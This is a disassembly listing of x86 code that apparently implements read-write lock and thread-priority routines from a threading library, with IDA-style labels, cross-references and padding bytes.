loc_432F02: ; CODE XREF: sub_432ED0+1Aj
; sub_432ED0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432F26
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F26: ; CODE XREF: sub_432ED0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F84
lea ebx, [esi+4]
push eax
push ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F7B
push eax
lea eax, [esi+8]
push eax
call sub_40154B
mov edi, eax
add esp, 8
test edi, edi
jz short loc_432F9C
push ebx
call sub_402252
add esp, 4
loc_432F7B: ; CODE XREF: sub_432ED0+8Dj
push esi
call sub_402252
add esp, 4
loc_432F84: ; CODE XREF: sub_432ED0+7Aj
push esi
nop
call near ptr 77C2C21Bh
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F9C: ; CODE XREF: sub_432ED0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433000: ; CODE XREF: ___:004018BBj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_43313B
mov esi, [eax]
test esi, esi
jz loc_43313B
cmp esi, 0FFFFFFFFh
jz loc_4330F7
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43313B
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_433140
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_433069
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433069: ; CODE XREF: ___:00433057j
mov eax, [esi+10h]
test eax, eax
jg short loc_4330DD
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_4330DD
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_4330A0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4330A0: ; CODE XREF: ___:0043308Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_433140
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401AA5
push edi
mov ebx, eax
call sub_402252
push esi
mov edi, eax
call sub_402252
push esi
mov ebp, eax
call near ptr 77C2C21Bh
nop
add esp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330DD: ; CODE XREF: ___:0043306Ej
; ___:00433078j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330F7: ; CODE XREF: ___:00433023j
push offset dword_510960
nop
call near ptr 7C901005h
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_433113
mov dword ptr [eax], 0
jmp short loc_433118
; ---------------------------------------------------------------------------
loc_433113: ; CODE XREF: ___:00433109j
mov ebx, 10h
loc_433118: ; CODE XREF: ___:00433111j
push offset dword_510960
nop
call near ptr 7C9010EDh
loc_433123: ; CODE XREF: ___:004330DBj
; ___:004330F5j
test ebx, ebx
jz short loc_43312E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43312E: ; CODE XREF: ___:00433125j
test edi, edi
mov eax, edi
jnz short loc_433140
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43313B: ; CODE XREF: ___:00433010j
; ___:0043301Aj ...
mov eax, 16h
loc_433140: ; CODE XREF: ___:00433041j
; ___:004330AAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4331B0: ; CODE XREF: ___:00401EA6j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4331D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4331D3: ; CODE XREF: ___:004331C2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433200: ; CODE XREF: ___:0040179Ej
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_433221
mov eax, [ecx]
test eax, eax
jz short loc_433221
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433221: ; CODE XREF: ___:00433209j
; ___:0043320Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_43325D
mov eax, [eax]
test eax, eax
jz short loc_43325D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43325D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: ___:00433246j
; ___:0043324Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433280: ; CODE XREF: ___:004015A5j
mov eax, [esp+4]
test eax, eax
jz short loc_4332AA
mov ecx, [eax]
test ecx, ecx
jz short loc_4332AA
mov eax, [esp+8]
cmp eax, 1
jz short loc_43329E
test eax, eax
jnz short loc_4332AA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43329E: ; CODE XREF: ___:00433295j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_4332AA: ; CODE XREF: ___:00433286j
; ___:0043328Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4332C0: ; CODE XREF: ___:00402095j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43337A
mov eax, [esi]
test eax, eax
jz loc_43337A
cmp eax, 0FFFFFFFFh
jnz short loc_4332F4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4332F4
cmp eax, 10h
jnz loc_43337F
loc_4332F4: ; CODE XREF: ___:004332DCj
; ___:004332E9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43337A
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_43337F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43336D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43333D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43333D: ; CODE XREF: ___:0043332Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43336D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43336D: ; CODE XREF: ___:0043331Aj
; ___:0043335Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43337A: ; CODE XREF: ___:004332C9j
; ___:004332D3j ...
mov eax, 16h
loc_43337F: ; CODE XREF: ___:004332EEj
; ___:0043330Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333D0: ; CODE XREF: ___:004016A4j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43349F
mov eax, [esi]
test eax, eax
jz loc_43349F
cmp eax, 0FFFFFFFFh
jnz short loc_433404
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433404
cmp eax, 10h
jnz loc_4334A4
loc_433404: ; CODE XREF: ___:004333ECj
; ___:004333F9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43349F
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz short loc_4334A4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_433492
lea edi, [esi+4]
push ebx
push edi
call sub_401BD6
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_433462
cmp ebx, 274Ch
jnz short loc_433453
inc dword ptr [esi+14h]
loc_433453: ; CODE XREF: ___:0043344Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433462: ; CODE XREF: ___:00433446j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_433492
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433492: ; CODE XREF: ___:00433433j
; ___:00433481j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43349F: ; CODE XREF: ___:004333D9j
; ___:004333E3j ...
mov eax, 16h
loc_4334A4: ; CODE XREF: ___:004333FEj
; ___:00433423j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:004015D2j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4335E6
mov eax, [esi]
test eax, eax
jz loc_4335E6
cmp eax, 0FFFFFFFFh
jnz short loc_433527
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433527
cmp eax, 10h
jnz loc_4335EB
loc_433527: ; CODE XREF: ___:0043350Fj
; ___:0043351Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4335E6
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_4335EB
lea ebp, [esi+4]
push ebp
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43356B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43356B: ; CODE XREF: ___:00433557j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4335DA
mov eax, [esi+14h]
test eax, eax
jle short loc_433588
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433588: ; CODE XREF: ___:00433577j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4335DA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4335AB: ; CODE XREF: ___:004335C0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4335C2
mov eax, [esi+14h]
test eax, eax
jl short loc_4335AB
loc_4335C2: ; CODE XREF: ___:004335B9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4335DD
mov [esi+0Ch], edi
loc_4335DA: ; CODE XREF: ___:00433570j
; ___:0043358Dj
inc dword ptr [esi+10h]
loc_4335DD: ; CODE XREF: ___:004335D5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4335E6: ; CODE XREF: ___:004334FCj
; ___:00433506j ...
mov eax, 16h
loc_4335EB: ; CODE XREF: ___:00433521j
; ___:00433541j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433650: ; CODE XREF: ___:00401960j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_433751
mov eax, [esi]
test eax, eax
jz loc_433751
cmp eax, 0FFFFFFFFh
jnz short loc_433687
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433687
cmp eax, 10h
jnz loc_433756
loc_433687: ; CODE XREF: ___:0043366Fj
; ___:0043367Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433751
mov edi, [esp+20h]
push edi
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz loc_433756
lea ebp, [esi+4]
push edi
push ebp
call sub_401BD6
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4336D1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4336D1: ; CODE XREF: ___:004336BDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_433745
mov eax, [esi+14h]
test eax, eax
jle short loc_4336EE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4336EE: ; CODE XREF: ___:004336DDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433745
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_433711: ; CODE XREF: ___:0043372Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43372D
mov eax, [esi+14h]
test eax, eax
jl short loc_433711
loc_43372D: ; CODE XREF: ___:00433724j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_433748
mov [esi+0Ch], edi
loc_433745: ; CODE XREF: ___:004336D6j
; ___:004336F3j
inc dword ptr [esi+10h]
loc_433748: ; CODE XREF: ___:00433740j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_433751: ; CODE XREF: ___:0043365Cj
; ___:00433666j ...
mov eax, 16h
loc_433756: ; CODE XREF: ___:00433681j
; ___:004336A6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4337B0: ; CODE XREF: ___:004015C8j
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_433836
mov esi, [eax]
test esi, esi
jz short loc_433836
cmp esi, 0FFFFFFFFh
jnz short loc_4337CC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337CC: ; CODE XREF: ___:004337C4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_433836
mov eax, [esi+10h]
test eax, eax
jnz short loc_433814
lea ebx, [esi+4]
push ebx
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4337F2
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337F2: ; CODE XREF: ___:004337ECj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_433809
add esi, 8
push esi
call sub_401E6F
add esp, 4
mov edi, eax
loc_433809: ; CODE XREF: ___:004337F9j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43382C
; ---------------------------------------------------------------------------
loc_433814: ; CODE XREF: ___:004337DAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43382C: ; CODE XREF: ___:00433812j
test edi, edi
jz short loc_43383B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433836: ; CODE XREF: ___:004337B9j
; ___:004337BFj ...
mov eax, 16h
loc_43383B: ; CODE XREF: ___:0043382Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433870: ; CODE XREF: ___:0040153Cj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43392A
mov eax, [esi]
test eax, eax
jz loc_43392A
cmp eax, 0FFFFFFFFh
jnz short loc_4338A4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4338A4
cmp eax, 10h
jnz loc_43392F
loc_4338A4: ; CODE XREF: ___:0043388Cj
; ___:00433899j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43392A
push esi
call sub_401785
add esp, 4
test eax, eax
jnz short loc_43392F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43391D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4338ED
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4338ED: ; CODE XREF: ___:004338DCj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43391D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43391D: ; CODE XREF: ___:004338CAj
; ___:0043390Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43392A: ; CODE XREF: ___:00433879j
; ___:00433883j ...
mov eax, 16h
loc_43392F: ; CODE XREF: ___:0043389Ej
; ___:004338BAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433980: ; CODE XREF: ___:00401FF0j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_433A61
mov eax, [esi]
test eax, eax
jz loc_433A61
cmp eax, 0FFFFFFFFh
jnz short loc_4339B4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4339B4
cmp eax, 10h
jnz loc_433A66
loc_4339B4: ; CODE XREF: ___:0043399Cj
; ___:004339A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433A61
push esi
call sub_401785
add esp, 4
test eax, eax
jnz loc_433A66
lea ebx, [esi+4]
push ebx
call sub_401785
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4339F9
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_433A66
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4339F9: ; CODE XREF: ___:004339E4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_433A49
mov eax, [esi+14h]
test eax, eax
jle short loc_433A16
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433A16: ; CODE XREF: ___:00433A05j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433A54
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_433A3B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A3B: ; CODE XREF: ___:00433A2Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433A4E
loc_433A49: ; CODE XREF: ___:004339FEj
mov edi, 10h
loc_433A4E: ; CODE XREF: ___:00433A47j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A54: ; CODE XREF: ___:00433A1Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A61: ; CODE XREF: ___:00433989j
; ___:00433993j ...
mov eax, 16h
loc_433A66: ; CODE XREF: ___:004339AEj
; ___:004339CEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AB0: ; CODE XREF: ___:00401C0Dj
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433AC7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_433AC7: ; CODE XREF: ___:00433ABFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AF0: ; CODE XREF: ___:00401EB5j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B17
mov eax, [esp+8]
test eax, eax
jz short loc_433B17
cmp eax, 2
jbe short loc_433B17
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433B17: ; CODE XREF: ___:00433AFFj
; ___:00433B07j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433B30: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B76
mov edi, [esp+14h]
test edi, edi
jz short loc_433B76
mov esi, [edi]
push eax
call sub_401555
add esp, 4
cmp esi, eax
jl short loc_433B76
push 0
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433B76
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433B76: ; CODE XREF: ___:00433B42j
; ___:00433B4Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BA0: ; CODE XREF: ___:00401EFBj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433BC5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433BC5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433BC5: ; CODE XREF: ___:00433BB0j
; ___:00433BB8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BE0: ; CODE XREF: ___:004015BEj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433BF9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433BF9: ; CODE XREF: ___:00433BF0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C0D
cmp eax, 1
jz short loc_433C0D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C0D: ; CODE XREF: ___:00433BFFj
; ___:00433C04j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433C30: ; CODE XREF: ___:004019E7j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433C55
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C55
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433C55: ; CODE XREF: ___:00433C40j
; ___:00433C48j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433C70 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433CB5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_433CB0
cmp eax, 2
jg short loc_433CB0
test eax, eax
jz short loc_433C9C
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C9C: ; CODE XREF: sub_433C70+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020D1
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_433CB0: ; CODE XREF: sub_433C70+1Aj
; sub_433C70+1Fj
mov eax, 16h
loc_433CB5: ; CODE XREF: sub_433C70+12j
pop esi
retn
sub_433C70 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433CE0 proc near ; CODE XREF: sub_4020D1j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_401555
add esp, 4
cmp esi, eax
jl loc_433D85
push edi
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433D85
cmp esi, 0FFFFFFF1h
jle short loc_433D20
cmp esi, 0FFFFFFFEh
jge short loc_433D20
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_433D32
; ---------------------------------------------------------------------------
loc_433D20: ; CODE XREF: sub_433CE0+2Fj
; sub_433CE0+34j
cmp esi, 0Fh
jge short loc_433D32
cmp esi, 2
jle short loc_433D32
mov [esp+8+arg_8], 2
loc_433D32: ; CODE XREF: sub_433CE0+3Ej
; sub_433CE0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_433D7E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
call near ptr 2750717h
nop
test eax, eax
jnz short loc_433D72
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D72: ; CODE XREF: sub_433CE0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_433D7E: ; CODE XREF: sub_433CE0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D85: ; CODE XREF: sub_433CE0+19j
; sub_433CE0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_433CE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433DC0 proc near ; CODE XREF: sub_4021B2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433DF9
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_433DF4
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_433DF4
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433DF4: ; CODE XREF: sub_433DC0+1Bj
; sub_433DC0+23j
mov eax, 16h
loc_433DF9: ; CODE XREF: sub_433DC0+12j
pop esi
retn
sub_433DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E10 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E23
cmp eax, 2
jg short loc_433E23
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_433E23: ; CODE XREF: sub_433E10+6j
; sub_433E10+Bj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
